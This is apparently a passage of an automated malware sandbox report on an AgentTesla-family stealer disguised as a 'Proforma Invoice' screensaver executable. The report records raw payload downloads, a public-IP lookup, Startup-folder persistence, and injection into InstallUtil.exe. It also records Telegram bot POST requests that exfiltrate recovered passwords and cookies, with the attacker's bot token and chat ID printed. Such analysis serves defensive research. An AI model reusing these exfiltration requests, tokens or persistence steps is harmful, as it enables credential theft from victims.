2024-10-31 10:14:39 UTC	183	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:14:45 GMT Server: Apache Last-Modified: Tue, 29 Oct 2024 16:15:46 GMT Accept-Ranges: bytes Content-Length: 993808 Connection: close
2024-10-31 10:14:39 UTC	8009	IN	Data Raw: 59 bb 59 98 8d d4 55 48 67 9b 07 a4 9a 0d d0 0d 3d d7 99 85 ff a3 70 3c ba 9f 1e 89 cc 9c 62 8e 1c 97 e3 0b 75 14 48 11 7f ea 8b 97 3d 0f c3 88 2f d8 6a 05 59 1f a2 e0 d9 e9 32 25 a6 e6 ef 87 3b 59 70 8b b6 70 d9 78 4e ae 79 bc 01 57 4c 80 94 78 47 3c c7 34 02 a3 2c 07 f4 57 8e 1d 74 c2 5d d3 be 60 1f 42 e4 ca e0 93 68 6c 35 92 40 2f 8f 84 ef 6d 82 6c 90 e4 9f 3c 10 50 b9 8d a5 29 aa b5 43 56 36 53 50 a2 63 12 7e 59 a1 be 7a 9e 2c b5 d3 39 6f 23 f5 81 25 53 30 23 97 d1 f5 6d d0 da e5 7d b3 b0 d2 0f 53 87 71 34 8e 27 60 21 a1 3f 88 b8 9f 06 e2 1d 64 0c 74 3d ee 0a 41 cb b5 c7 99 24 25 4e 70 3a dc 7c ba 13 e5 52 d4 d8 26 db f9 de cb ef 77 ee 62 5c 9e 47 d2 2d 97 bb 0e 7d d7 8e 76 16 5a 54 57 d9 7d 06 77 24 cd b8 f3 58 44 b2 f3 de 00 ef a5 31 98 bc 45 6a 00 Data Ascii: YYUHg=p<buH=/jY2%;YppxNyWLxG<4,Wt]`Bhl5@/ml<P)CV6SPc~Yz,9o#%S0#m}Sq4'`!?dt=A$%Np:\|R&wb\G-}vZTW}w$XD1Ej
2024-10-31 10:14:39 UTC	8000	IN	Data Raw: 01 02 e7 a5 2c 6d 09 b0 1d cd 54 5c 0e 03 44 55 72 71 57 9f 5b fd b3 2a 88 54 8e e9 9d 4c a9 3c 01 68 89 45 64 ff 17 c8 9d 47 30 41 75 35 3b 55 48 35 a6 e1 4f c6 1b 25 a9 94 cc ae 65 47 b4 8e 57 68 f8 38 d0 a8 e2 66 b0 98 33 66 ab 90 e3 e1 b2 94 0c 71 9a 41 17 21 f0 d5 9c ef 50 b3 32 1e 91 f3 68 b4 dd 49 bc e2 b3 58 6b 8c ea 10 45 3c 62 7c 3c 43 7d ee bf 91 0a 3e 1d f9 a5 7a 7e 7d cd 6f 85 b9 ba 00 44 76 50 d4 cf 9d 44 d0 8d e3 58 d4 64 df 27 fa cf fd 66 bc ac 13 c6 6f 36 4b 28 30 eb 60 57 7a 7e 37 60 4e b3 2e f2 76 8a 14 61 63 50 23 7a ed 4a ad 6b 2f 2c 19 5f 47 a5 4e 1b e8 02 89 7f 86 4a ab 92 91 90 05 0d 27 12 b3 b5 bf 1d 93 a6 4a 0f 0b 84 07 5e 41 cd bd c5 2f d9 65 d8 9e b1 f7 ce 68 1b ae 64 91 98 20 20 31 6c 45 5b 16 89 21 39 7e f2 9f c0 eb 9e 21 30 Data Ascii: ,mT\DUrqW[*TL<hEdG0Au5;UH5O%eGWh8f3fqA!P2hIXkE<b\|<C}>z~}oDvPDXd'fo6K(0`Wz~7`N.vacP#zJk/,_GNJ'J^A/ehd 1lE[!9~!0
2024-10-31 10:14:39 UTC	8000	IN	Data Raw: e2 e9 53 fc de 7c 50 50 38 fc 2c 51 fb db 76 40 e1 ce 7e 7e b2 8d df 60 76 81 e3 1e a4 10 ed 88 e3 3e a3 4b 27 30 20 d4 10 44 b5 f6 ee 0a ad 79 e8 82 be 25 b7 96 b1 a8 1c a9 4e 1a f1 98 a9 8c a4 76 08 70 84 55 82 c0 74 40 53 2d 43 53 72 fb 45 ac 46 a7 02 73 71 10 be 43 73 3c 53 a8 ef f9 37 dc f0 75 3a 9d 59 40 50 11 73 b5 d8 50 08 fb f3 d5 14 03 27 95 ba 04 12 5f 34 d0 7b 84 19 44 55 a4 12 23 d1 34 b1 51 e7 65 a7 c2 8c e3 0d 0a 0a b3 2f 40 c4 c3 ff 31 b7 09 fa 2f 9e ed 32 05 db 82 4e 79 35 2e 2c 47 91 65 a6 8d 9c 27 4c 12 40 1a bd ea ff eb 47 70 f0 a7 2a 40 fd f0 8b 97 c7 a1 21 9d 9c 8f cd a7 40 25 f0 2f ee 39 4f 4f e9 e4 30 66 01 b0 d0 ac fc 0c cb 44 29 20 40 a2 92 ca 7d 3c 16 ad 6e 76 52 23 ce 92 30 2d 7a cb a9 21 f8 b0 54 26 c5 f1 d4 0d 21 2e f3 47 31 Data Ascii: S\|PP8,Qv@~~`v>K'0 Dy%NvpUt@S-CSrEFsqCs<S7u:Y@PsP'_4{DU#4Qe/@1/2Ny5.,Ge'L@Gp*@!@%/9OO0fD) @}<nvR#0-z!T&!.G1
2024-10-31 10:14:39 UTC	8000	IN	Data Raw: 0b 80 a0 b1 ad 67 45 43 81 62 83 11 15 27 5e f9 e9 5b dd 29 15 aa ec dc 36 5b 8d 3e 84 12 66 9c 64 82 48 a6 24 1c b1 e0 bc a1 65 0f 01 dc b5 17 ec 04 bf 81 35 21 f4 19 ba 33 5f ee 58 4e 0f ef 6e d3 72 95 c8 1d 31 f8 28 b3 99 d7 f8 03 4f 1f 2a f1 ec 12 5b 48 19 47 36 70 64 b1 53 87 ff fa 93 fb 98 7b 1b 42 e0 c2 28 7f 35 7d bb 4a 25 f7 d3 36 22 a0 d5 67 ed a1 9e bf 09 59 77 fd ec db 5c 72 e0 06 8f 2f d1 61 70 2d c0 4d b5 a5 a6 52 d5 1b f3 47 4f d7 32 98 1a 36 cd e7 d1 34 f9 9e d0 e4 2c c8 31 b5 b1 72 f8 1a 1b af 41 d6 4e e4 74 d1 f4 5b e2 4a cd af fb 85 0f 44 a6 23 67 f1 9f 9d 5a 34 b6 0a 1a 48 d1 7a a6 c9 85 a4 c2 9e a2 74 56 07 f8 5d 80 53 0e f5 8d 2b 37 b9 16 b2 58 58 11 fa b0 3e 30 ef b1 f6 82 80 cc cf 42 1c 15 01 e3 f6 6a 49 b4 33 08 9e 9b 80 c8 fe cf Data Ascii: gECb'^[)6[>fdH$e5!3_XNnr1(O*[HG6pdS{B(5}J%6"gYw\r/ap-MRGO264,1rANt[JD#gZ4HztV]S+7XX>0BjI3
2024-10-31 10:14:39 UTC	8000	IN	Data Raw: 31 84 60 23 6b 85 68 83 b6 ea 32 0d e3 00 4e e7 ca 7b 67 04 ba 83 0f 51 62 8f ee 83 ec 23 32 f1 c7 c7 52 32 ab 7d 02 24 a4 d0 e8 ef e5 5c ad 14 30 23 32 b9 cd d9 8e 37 6b a1 39 6a ce fc e6 d2 8a 92 68 66 c6 59 d1 f2 1e b5 43 7c 24 2a 51 55 36 35 d6 e2 51 fa 3c 1d 7e f3 d3 6b 97 fb 91 e1 8d e8 51 fb de 22 43 97 b0 7c a4 02 a6 7b 17 92 0f d1 87 dc 98 a7 9e 43 d0 cf 48 8d 9e f9 70 74 f7 ac 1a 73 5c 90 15 eb 67 84 ed 47 8f 6d c5 4b cd 64 81 41 2a 3a ce 0a bd fd bc ad b0 55 24 78 83 fe 31 96 b8 c2 0a a9 66 a8 15 6e 72 3f d1 5f 04 3c 66 7b 4f 54 58 a9 49 47 63 83 ac cd 0c 7d a5 c0 1c a8 02 44 c6 72 1e 7b 08 f9 c3 74 ea 10 26 6a 02 3b cc bd 35 45 89 16 15 5f 43 9d de 14 2f a9 ee 81 a8 8f 89 da 91 ab 0b 58 d5 e2 02 0a 75 8c fc 27 ec 57 f7 3c 25 2b 36 16 d0 f1 3b Data Ascii: 1`#kh2N{gQb#2R2}$\0#27k9jhfYC\|$QU65Q<~kQ"C\|{CHpts\gGmKdA:U$x1fnr?_<f{OTXIGc}Dr{t&j;5E_C/Xu'W<%+6;
2024-10-31 10:14:40 UTC	8000	IN	Data Raw: 71 7a a2 5f 86 b3 66 30 48 15 e4 74 2a 44 8c 72 d9 d6 3e ea c9 48 54 4b 8e bb 7a a2 cd ec 5f ac 0a 60 84 10 5e 38 2e 13 40 5e ff 01 e4 7b 19 a6 56 ac 72 fa 71 04 3d 5e b4 eb 4f c1 52 a9 13 dc 35 b5 ed 3f 68 93 3f 52 1f e3 af ae 52 aa 32 fe d4 eb 23 44 f5 5e 92 b4 ce ad 73 1f dc 9f 8f 34 90 70 0d 92 24 37 3a fb 47 50 3d 71 25 0b 10 e9 f5 fc 99 6c 91 97 fb 41 e9 4b e8 86 f1 0d 94 9c da ba 64 e0 75 32 7f 35 a7 62 4a f0 e0 63 74 6f 5d 19 e2 24 a0 4b 37 da b3 17 49 a4 c8 95 33 35 30 3d df f7 5a d4 7b 66 96 38 59 a6 59 1a ca db 69 54 a8 b9 af 35 20 cd 76 4d 1d 2c 19 9b ff 4c f4 29 e9 86 3f 3e 35 ec 65 60 4e b6 49 ea e4 ac 16 62 df d1 f2 04 02 25 fc ff 9a d2 cf 08 e6 da 2f b0 1c 43 ce 67 bc 07 5d f7 ae 91 a0 09 d3 bc 63 3c 87 13 01 2d 2e 29 8b b1 4f e0 d0 75 68 Data Ascii: qz_f0Ht*Dr>HTKz_`^8.@^{Vrq=^OR5?h?RR2#D^s4p$7:GP=q%lAKdu25bJcto]$K7I350=Z{f8YYiT5 vM,L)?>5e`NIb%/Cg]c<-.)Ouh
2024-10-31 10:14:40 UTC	8000	IN	Data Raw: 6a ac 42 36 6f 79 0d 93 6d 09 6e ba 3c e6 2a ef b1 9e b0 25 7c 4b 8f a2 f2 3c 6c 2e 62 28 21 ac c3 2d 5d 5c e2 16 23 6d 1b 10 08 5c 03 51 39 01 51 f9 d0 a8 2a 8b d2 18 f8 38 bd d1 7a da 25 6a e8 fa c6 75 a3 12 71 a9 9f 66 c8 51 b0 0d 43 0f 89 8a 94 c4 60 30 53 f1 d9 5e ed 15 02 25 d3 79 97 6b ad bf 93 51 6b 6e 9b a9 34 3d c4 df 43 38 fe 5b 8f 78 4f e5 9e d9 29 29 9a 9f 85 61 94 2a 05 be 12 4f 33 0d ef 3f ba 29 5e 81 af 5e 13 c2 ee 95 82 8e 9b fb bd 23 42 d7 2b 57 a8 05 d8 65 d4 81 46 05 37 01 60 b9 86 f6 fa ed 90 80 3f 80 01 36 4c c4 6d fb 2e 45 e0 6d f2 2b 49 c7 72 1a 4a 25 a8 04 ca f0 d5 d5 f8 25 ef ab 99 cd e2 39 c6 5e 0b 6e ec df d0 25 3e b3 a2 a5 1e 59 2a d8 17 ff 7c 15 d9 8b 66 30 18 77 ed 05 8d cf 02 6f 87 bd d6 4f bb 64 a1 81 56 6d 92 08 c6 d7 d5 Data Ascii: jB6oymn<%\|K<l.b(!-]\#m\Q9Q8z%juqfQC`0S^%ykQkn4=C8[xO))aO3?)^^#B+WeF7`?6Lm.Em+IrJ%%9^n%>Y\|f0woOdVm
2024-10-31 10:14:40 UTC	8000	IN	Data Raw: 58 0b 75 38 13 e9 fd 66 20 8a dd 63 aa ea 4d 45 ec dd 82 1e 90 ba 1a 10 68 a3 7f 6a 37 7c 2e 04 f4 56 80 1e 3a 0d 3e d7 4d 1a 97 7c b6 46 a1 d2 a1 bb a6 06 67 ff b8 eb a3 92 4f 52 97 7e 71 be d4 72 28 19 89 93 e9 a0 de 03 5e d0 31 06 bd 4c 25 0c 3a da 9c 64 9b 1e 5f ca 21 58 6e 16 b9 4a 2b bf 22 13 ca 24 fe 9b cf c8 70 01 7c 39 be c6 4a 5e f7 ae 8f e4 59 7b 22 fc 61 bd 19 ad 0a 59 ae 3b 5f 72 2e bf ba f5 8c 46 d3 24 3c 4c 28 76 df bf 61 75 ae a6 ad 15 24 b5 8a 18 a1 7e f1 ff eb 0f 12 14 4c 46 a1 98 99 3d ef 96 bf ea 35 62 05 9f 2f bb 26 2e 5f 32 86 34 64 e8 48 a1 6d e2 43 0a da f2 1b e3 81 7f 2d 48 e0 77 61 b6 26 aa 63 58 5c 43 58 a9 68 22 87 ae 8e 45 17 49 b2 fd 94 ee 02 ed 38 d3 c7 07 f9 b6 46 39 b1 91 75 21 49 22 8f a9 f6 fb b5 11 55 b7 0f 99 cc 70 a2 Data Ascii: Xu8f cMEhj7\|.V:>M\|FgOR~qr(^1L%:d_!XnJ+"$p\|9J^Y{"aY;_r.F$<L(vau$~LF=5b/&._24dHmC-Hwa&cX\CXh"EI8F9u!I"Up
2024-10-31 10:14:40 UTC	8000	IN	Data Raw: 67 4e a2 0d 91 aa 1e 2f 29 ef 2f d4 fd 61 26 05 b2 7f 52 7f 86 5a 80 fa b2 7c 7a 5c ab cb a2 7f 90 07 18 02 49 00 e7 da b2 b4 a4 99 85 9a e1 25 df b1 67 5c f3 a5 76 0f 19 7d 6c 4c 71 9d e2 79 aa dd b9 f2 83 75 9d 8e c4 98 c4 0b 97 c9 68 64 47 73 8e 87 43 be 55 1d f4 a5 0d 81 a5 a0 d5 06 3d 7d ea 08 16 e0 9e 21 64 cb 67 df cc 72 f5 f4 2b 97 c8 19 21 a0 94 b9 82 8d 3e 55 97 c2 09 4a f8 b0 8a 2f 2a 30 68 2d 94 59 f9 fe d1 c3 94 4d 7a 1a 5d dc 01 a7 87 b3 ce 34 af 9f a0 74 34 37 4f 1c 11 e3 1e 9e 11 60 c9 43 9b 97 d7 a8 e9 7a bb e6 ce 8e 36 c6 ff c0 d1 8c 35 9a e6 06 21 25 6b 72 6e cd bd 97 c6 eb df 50 a3 5c f4 34 d8 00 54 06 22 60 33 23 2c 15 55 81 1d b4 e9 fe 17 c5 db 2e 19 9d f4 d7 06 6a ea 51 21 73 59 58 61 ab fd 95 f9 9a f2 49 15 23 e4 dd 93 2d 71 2f b6 Data Ascii: gN/)/a&RZ\|z\I%g\v}lLqyuhdGsCU=}!dgr+!>UJ/*0h-YMz]4t47O`Cz65!%krnP\4T"`3#,U.jQ!sYXaI#-q/
2024-10-31 10:14:40 UTC	8000	IN	Data Raw: 96 0d f3 44 09 89 1e 52 9f 12 52 1c 54 4f a5 3f db 88 c0 e6 93 fb 3e 26 95 39 98 bc e2 70 f8 42 14 16 e3 ac e8 82 ea 51 3a 12 ee 28 ba eb dd ca 11 42 55 31 33 c9 40 28 d5 9c 2e 44 0f 07 ec c9 9d 25 07 4c a3 63 33 1a d9 51 56 dd a6 ca 26 db 22 1d 49 f5 aa 16 53 a6 17 84 53 7f 0d e7 94 05 a7 a3 3e 61 19 d6 6c e4 3f 2f 0e 8d fe 95 22 1b 1f 3c 2e 1b b4 d2 1d 0f 75 62 1e 6b f7 33 c4 9f b7 5f f9 c1 26 ee ee e3 6c 32 0d f5 0c 2d db 09 1a ae 4f 86 bc d7 1a 9e 24 7b 7d ad 41 24 4b 99 77 87 25 dc 09 0c 15 90 e4 00 14 09 9c b8 f4 52 69 8d 72 2d 39 8e aa 65 cd 2d d7 54 8d 43 ea e3 b8 1f 76 cb 60 12 30 45 65 ae 01 51 2b e1 d0 0b c7 b6 df 36 d6 f7 f9 e1 34 c1 e5 92 f2 46 f7 27 ae 05 bf e6 5e a0 f5 d6 8a 75 d0 d9 b6 1f c2 e0 ab 91 5a 02 7b b4 fa 10 95 07 d5 41 48 23 c8 Data Ascii: DRRTO?>&9pBQ:(BU13@(.D%Lc3QV&"ISS>al?/"<.ubk3_&l2-O${}A$Kw%Rir-9e-TCv`0EeQ+64F'^uZ{AH#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	51774	104.26.13.205	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:14:55 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-10-31 10:14:56 UTC	211	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:14:56 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db2e1881c20e85f-DFW
2024-10-31 10:14:56 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 Data Ascii: 173.254.250.77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	51775	149.154.167.220	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:14:57 UTC	260	OUT	POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcf973572514ec Host: api.telegram.org Content-Length: 981 Expect: 100-continue Connection: Keep-Alive
2024-10-31 10:14:57 UTC	981	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 37 33 35 37 32 35 31 34 65 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 37 30 36 38 38 32 39 33 39 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 37 33 35 37 32 35 31 34 65 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 31 30 2f 33 31 2f 32 30 32 34 20 30 36 3a 31 34 3a 35 35 0a 55 73 65 72 Data Ascii: -----------------------------8dcf973572514ecContent-Disposition: form-data; name="chat_id"7068829394-----------------------------8dcf973572514ecContent-Disposition: form-data; name="caption"New PW Recovered!Time: 10/31/2024 06:14:55User
2024-10-31 10:14:58 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-31 10:14:58 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu, 31 Oct 2024 10:14:58 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	51776	149.154.167.220	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:14:59 UTC	236	OUT	POST /bot7245016847:AAHTGgEGytVrrQCnyNC6RGvqcnPdZoR0H5U/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcf9857b3d199b Host: api.telegram.org Content-Length: 918 Expect: 100-continue
2024-10-31 10:14:59 UTC	918	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 38 35 37 62 33 64 31 39 39 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 37 30 36 38 38 32 39 33 39 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 38 35 37 62 33 64 31 39 39 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 43 4f 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 31 30 2f 33 31 2f 32 30 32 34 20 30 38 3a 32 34 3a 34 37 0a 55 73 65 72 Data Ascii: -----------------------------8dcf9857b3d199bContent-Disposition: form-data; name="chat_id"7068829394-----------------------------8dcf9857b3d199bContent-Disposition: form-data; name="caption"New CO Recovered!Time: 10/31/2024 08:24:47User
2024-10-31 10:14:59 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-31 10:14:59 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu, 31 Oct 2024 10:14:59 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Target ID:	0
Start time:	06:14:04
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\Proforma Invoice.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Proforma Invoice.scr.exe"
Imagebase:	0x280000
File size:	13'312 bytes
MD5 hash:	3EFCF6123CC2697D54BE8E8D17F70EB6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2454133386.00000000029D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2454133386.0000000002618000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2480782000.0000000006430000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2463724121.00000000036A9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2463724121.0000000003766000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:14:24
Start date:	31/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x270000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.2755078286.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.2755078286.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2755078286.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.2755078286.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.2750748078.0000000000342000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.2755078286.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:14:36
Start date:	31/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EncoderFallback.vbs"
Imagebase:	0x7ff790870000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:14:37
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Roaming\EncoderFallback.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\EncoderFallback.exe"
Imagebase:	0x8e0000
File size:	13'312 bytes
MD5 hash:	3EFCF6123CC2697D54BE8E8D17F70EB6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.2771284089.0000000003DBF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.2771284089.0000000003CDF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2753904041.0000000002C37000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000006.00000002.2753904041.0000000002D72000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:14:53
Start date:	31/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x5d0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
